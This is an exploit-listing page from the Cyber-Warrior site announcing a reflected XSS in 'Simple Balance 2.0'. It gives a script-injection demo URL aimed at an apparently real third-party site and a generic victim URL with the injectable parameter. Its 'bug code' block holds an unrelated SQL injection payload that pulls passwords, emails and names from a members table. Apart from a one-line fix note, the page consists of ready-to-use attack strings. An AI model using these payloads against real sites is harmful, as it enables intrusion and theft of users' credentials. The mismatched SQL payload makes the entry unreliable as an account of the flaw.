Simple Balance 2.0 ~ XSS Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Simple Balance 2.0 ~ XSS Vuln.

Madde
	Author : Bug Researchers/expulse
	Date : 05.07.2011 16:23:01
	# Simple Balance 2.0 ~ XSS Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################# [#] Exploit Title: Simple Balance 2.0 Cross Site Script Vulnerabilities [#] Author: expulse/Bug Researchers [#] Date: 27.06.2011 [#] DEMO: http://www.jennyandians.com/?s=<script>alert%28“EXPULSE“%29<%2Fscript> [#] Vuln Type: Reflected XSS [#] Fixed : Zararli Karakterler Filitrelenmelidir. ############################################## [*] ## Exploit ##: [#] http://victim/tags/?s=XSSAttack] [#] Inject XSS Code ~~>> GET / ?s=XSS ############################################### < ------------------- header data end of ------------------- > < -- bug code start -- > /uyebilgi.asp?uye=-1’+union+select+0,sifre,2,email,isim,id,6,7,8,9,0,1,2,3,4+from+uyeler < -- bug code end of -- >